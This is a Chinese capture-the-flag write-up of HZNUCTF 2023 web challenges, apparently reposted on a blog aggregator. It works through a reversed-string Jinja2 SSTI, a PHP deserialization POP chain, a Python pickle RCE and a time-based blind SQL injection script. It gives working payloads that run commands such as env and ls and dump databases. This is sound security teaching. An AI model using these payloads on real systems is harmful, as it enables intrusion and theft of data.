HZNUCTF2023中web相关题目

news2024/11/15 10:30:39

[HZNUCTF 2023 preliminary]guessguessguess

这道题目打不开了

[HZNUCTF 2023 preliminary]flask

这道题目考察SSTI倒序的模板注入,以及用env命令获得flag

看题目,猜测是SSTI模板注入,先输入{7*7},发现模板是倒序输入的

输入}}'7'*7{{返回777777,为jinja2模板

这里放上python倒序代码

import base64

strA = input('需要转换的字符:')
strB=strA[::-1]
sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #base


print(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

 

接着我们构造payload,找出flag文件 

?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

 

发现flag在flag.sh文件下,给出下面提示flag又不在这里

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

接着给出提示/bin/bash,接着我们构造payload,看看此文件,发现出现2个文件 ,查询文件无果

 ?name=}})')(daer.)"sl;hsab/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

 接着用env命令查看一下环境变量

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

 

[HZNUCTF 2023 preliminary]ppppop 

这道题目考察php反序列化及pop链的构建

打开这道题目发现一片空白,检查网络中的数据包,发现cookie中存在base64编码值,进行解码

 

 解码之后发现字符串中有一个布尔值,空白原因可能是布尔值为0,一般来说0表示false,我们将0修改为1再进行base64编码,再将编码后的值替代之前cookie值发包

 得到下面php代码,其中涉及到魔术引号以及函数

在对象中调用一个不可访问方法时,__call() 会被调用

$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数

strrev() 函数反转字符串

<?php
error_reporting(0);
include('utils.php');

class A {
    public $className;
    public $funcName;
    public $args;

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}

if(checkUser()) {
    highlight_file(__FILE__);
    $payload = strrev(base64_decode($_POST['payload']));
    unserialize($payload);
}




?>

得到源码后就是反序列化构造pop链了,不难看出是通过A类来触发B类中的__call从而实现任意命令,执行后的回显肯定是在class B的__call 魔术方法里,所以我们需要让func和arg成为我们需要的变量。所以我们构造pop链如下:

poc如下:

<?php
error_reporting(0);
include('utils.php');
 
class A {
    public $className="B";
    public $funcName="system";
    public $args="env";
 
    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}
 
class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}
 
$a=new A();
echo(base64_encode(strrev(serialize($a))));
?>

 

这里在B类中调用system没有直接触发__call方法并将system作为参数传入__call中造成执行系统命令来查看环境变量从而得到flag 

 

 

[HZNUCTF 2023 preliminary]pickle 

打开题目,右键查看源代码,在pycharm中格式化


import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0')

发现有两个可以访问的页面:/calc和/readFile。由于calc下面的语句有一个getFlag,我认为flag应该是在这里拿到的。然后往下看,需要get传参payload,然后用base64解码payload,然后pickle.loads被过滤os的解码代码。先去查了pickle的用法,发现是python里的序列化和反序列化函数。看看WP文章 - [HZNUCTF 2023 preliminary]pickle jmx0hxq的WriteUp | NSSCTF

payload:/readFile?filename=a 

 下面一些是其他博主对代码的解释:

1. 首先,python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作。

2. 然后本题中return的那段:

return eval,("__import__('o'+'s').system('env | tee a')",)  
 这段的意思,有两个元素用逗号隔开return,就是一个可以执行eval的特性。

3. 其中还有一个__import__('os')语句的意思,就是在中途导入os模块,并且将__import__('os')这一段变成'os'。

4.python中,os就是可以调用system的函数:

os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。

所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。

所以payload:

/calc?payload=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2xzIC8gfCB0ZWUgYScplIWUUpQu

 然后读取a文件:/readFile?filename=a

 

[HZNUCTF 2023 preliminary]ezlogin

这道题目考察sql的盲注,并且带有过滤

打开题目,查看网页源代码,可以知道注入点在username上,且为POST传参,注入进行了关键字的过滤

过滤and      ==》&&    //我直接or了
过滤database ==》Database
过滤空格      ==》/**/                    
过滤=        ==》like

发现没有显示报错界面,只能用盲注试试了,下面是别人的脚本代码

import requests
import base64
import datetime

url='http://node5.anna.nssctf.cn:28144/'
flag = ''

for i in range(1,100):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = "1'||if((ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1)))>{},sleep(1),1)#"

        payload = payload.format(i, mid)
        print(payload)
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        data = {
            'username':payload,
            'passwd':'1'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    flag += chr(mid)
    print(flag)

爆库名
# payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#"

爆表名
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#"

爆列名
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#"

爆数据
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(Password)/**/from/**/users.user),{},1)))>{},sleep(1),1)#"

这样慢慢的等着跑出来就好了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1935563.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot nacos的各种注解、手动操作监听配置变化(监听指定DataId/监听任何变化)

文章目录 springboot nacos监听配置变化&#xff08;监听指定DataId/监听任何变化&#xff09;监听任何配置变化Nacos注解NacosConfigurationPropertiesNacosValueNacosConfigListenerNacosInjectedNacosConfigServiceNacosNamingService springboot nacos监听配置变化&#xf…

OpenAI 开打价格战,GPT-4o 最新变种价格骤降 96%-97%

当地时间周四早晨&#xff0c;美国人工智能初创公司 OpenAI 宣布&#xff0c;正式上架价格显著下降的新一代入门级别人工智能「小模型」GPT-4o mini。 价格比较&#xff5c;图片来源&#xff1a;Artificial Analysis 据 OpenAI 披露&#xff0c;GPT-4o mini 的 API 价格将会是…

【AI大模型Agent探索】深入探索实践 Qwen-Agent 的 Function Calling

系列篇章&#x1f4a5; No.文章1【Qwen部署实战】探索Qwen-7B-Chat&#xff1a;阿里云大型语言模型的对话实践2【Qwen2部署实战】Qwen2初体验&#xff1a;用Transformers打造智能聊天机器人3【Qwen2部署实战】探索Qwen2-7B&#xff1a;通过FastApi框架实现API的部署与调用4【Q…

django报错(二):NotSupportedError:MySQL 8 or later is required (found 5.7.43)

执行python manage.py runserver命令时报版本不支持错误&#xff0c;显示“MySQL 8 or later is required (found 5.7.43)”。如图&#xff1a; 即要MySQL 8或更高版本。但是企业大所数用的还是mysql5.7相关版本。因为5.7之后的8.x版本是付费版本&#xff0c;贸然更新数据库肯定…

JAVASE-医疗管理系统项目总结

文章目录 项目功能架构运行截图数据库设计设计模式应用单列设计模式JDBC模板模板设计模式策略模式工厂设计模式事务控制代理模式注解开发优化工厂模式 页面跳转ThreadLocal分页查询实现统计模块聊天 项目功能架构 传统的MVC架构&#xff0c;JavaFX桌面端项目&#xff0c;前端用…

水经微图Web版1.10.0发布

水经微图&#xff08;简称“微图”&#xff09;新版已上线&#xff0c;在该版本中主要新增了三调图例符号库&#xff0c;以及其它功能的优化。 当前版本 当前版本号为&#xff1a;1.10.0-beta.2 如果你发现该版本中存在问题&#xff0c;请及时反馈给我们修订。 关于我们产品…

Adobe国际认证详解-影视后期

在当今的数字媒体时代&#xff0c;影视后期制作作为创意产业的核心环节&#xff0c;对于专业技能的要求日益提高。Adobe国际认证&#xff0c;作为全球创意设计领域的重要标杆&#xff0c;为影视后期制作人员提供了一个展示自我、提升技能的国际舞台。 何为影视后期&#xff1f;…

javaEE (3)

Json json--JavaScript object notation (js对象表现形式) 在后端将java对象转为json格式的字符串 有很多第三方组件,可以直接将java对象转为json格式的字符串 new objectMapper().writeValueAsString(); 返回string类型 <!-- jackson--><dependency>&…

华为od机试真题 — 分披萨(Python)

题目描述 “吃货”和“馋嘴”两人到披萨店点了一份铁盘(圆形)披萨&#xff0c;并嘱咐店员将披萨按放射状切成大小相同的偶数个小块。 但是粗心服务员将披萨切成了每块大小都完全不同奇数块&#xff0c;且肉眼能分辨出大小。 由于两人都想吃到最多的披萨&#xff0c;他们商量…

Open3d入门 点云拼接算法

点云拼接&#xff08;Point Cloud Stitching&#xff09;是将从不同视角或位置获取的多组点云数据对齐到同一个坐标系中的过程&#xff0c;以形成一个完整的三维模型。这项技术在计算机视觉、机器人导航、三维重建和无人驾驶等领域有着广泛的应用。 点云配准&#xff08;Point…

Qt 制作安装包

记录使用Qt工具制作一个安装包的过程 目录 1.准备工作 1.1检查Qt Installer Frameworks是否安装 1.2.安装Qt Installer Frameworks 1.3准备release出来的exe dll等文件 2.创建打包工程所需要的文件及目录 2.1创建子目录 2.2 创建工程文件 2.3 创建config/config.xml …

5.4 软件工程-系统设计

系统设计 - 概述 设计软件系统总体结构 数据结构及数据库设计 编写概要设计文档、评审 详细设计的基本任务 真题

HDU1011——Starship Troopers(树形DP),HDU1012——u Calculate e,HDU1013——Digital Roots

目录 HDU1011——Starship Troopers&#xff08;树形DP&#xff09; 题目描述 运行代码 代码思路 树形DP HDU1012——u Calculate e 题目描述 运行代码 代码思路 HDU1013——Digital Roots 题目描述 超时代码 改进后依旧超时代码 运行代码 代码思路 HDU1011——…

工时记录软件选型指南

国内外主流的10款工时计算软件对比&#xff1a;PingCode、Worktile、Tita、易企秀、奇鱼、Teambition、Timely、Toggl Track、RescueTime、ClickUp。 在忙碌的工作中&#xff0c;记录和管理工时常常是令人头疼的问题。工时记录软件的选择不仅能帮你省时省力&#xff0c;还能大幅…

视频素材网站无水印的有哪些?热门视频素材网站分享

当我们走进视频创作的精彩世界时&#xff0c;一个难题常常摆在面前——那些高品质、无水印的视频素材究竟应该在哪里寻找&#xff1f;许多视频创作者感叹&#xff0c;寻找理想的视频素材难度甚至超过了寻找伴侣&#xff01;但不用担心&#xff0c;今天我将为您介绍几个优质的视…

理解UI设计:UI设计师的未来发展机遇

UI设计师的出现是互联网时代的设计变革。随着移动互联网的快速发展&#xff0c;移动产品设计师非常短缺。高薪资让许多其他行业的设计师已经转向了UI设计。那么什么是UI设计呢&#xff1f;UI设计师负责什么&#xff1f;UI设计的发展趋势和就业前景如何&#xff1f;这些都是许多…

C++仓库管理系统

功能 代码在效果图后面 1.添加物品 2.删除物品 3.更新物品数量 4.查询物品 5.列出所有物品 6.保存并退出 注意事项&#xff1a;退出要输入“6”退出才能保存数据&#xff0c;不要直接按X关掉窗口&#xff08;不会保存数据&#xff09;。 效果图 源代码 编…

C语言 底层逻辑详细阐述指针(一)万字讲解 #指针是什么? #指针和指针类型 #指针的解引用 #野指针 #指针的运算 #指针和数组 #二级指针 #指针数组

文章目录 前言 序1&#xff1a;什么是内存&#xff1f; 序2&#xff1a;地址是怎么产生的&#xff1f; 一、指针是什么 1、指针变量的创建及其意义&#xff1a; 2、指针变量的大小 二、指针的解引用 三、指针类型存在的意义 四、野指针 1、什么是野指针 2、野指针的成因 a、指…

Unity客户端接入原生Google支付

Unity客户端接入原生Google支付 1. Google后台配置2. 开始接入Java部分C#部分Lua部分 3. 导出工程打包测试参考踩坑注意 1. Google后台配置 找到内部测试&#xff08;这个测试轨道过审最快&#xff09;&#xff0c;打包上传&#xff0c;这个包不需要接入支付&#xff0c;如果已…

机器人开源调度系统OpenTcs6-架构运行分析

系统启动 启动 Kernel&#xff1a;加载核心应用&#xff0c;初始化系统配置和状态。 启动 Plant Overview&#xff1a;加载图形用户界面&#xff0c;初始化模型和用户界面。 模型导入和配置 在 Plant Overview 中导入或创建工厂布局模型。 配置路径、位置和车辆信息。 车辆连…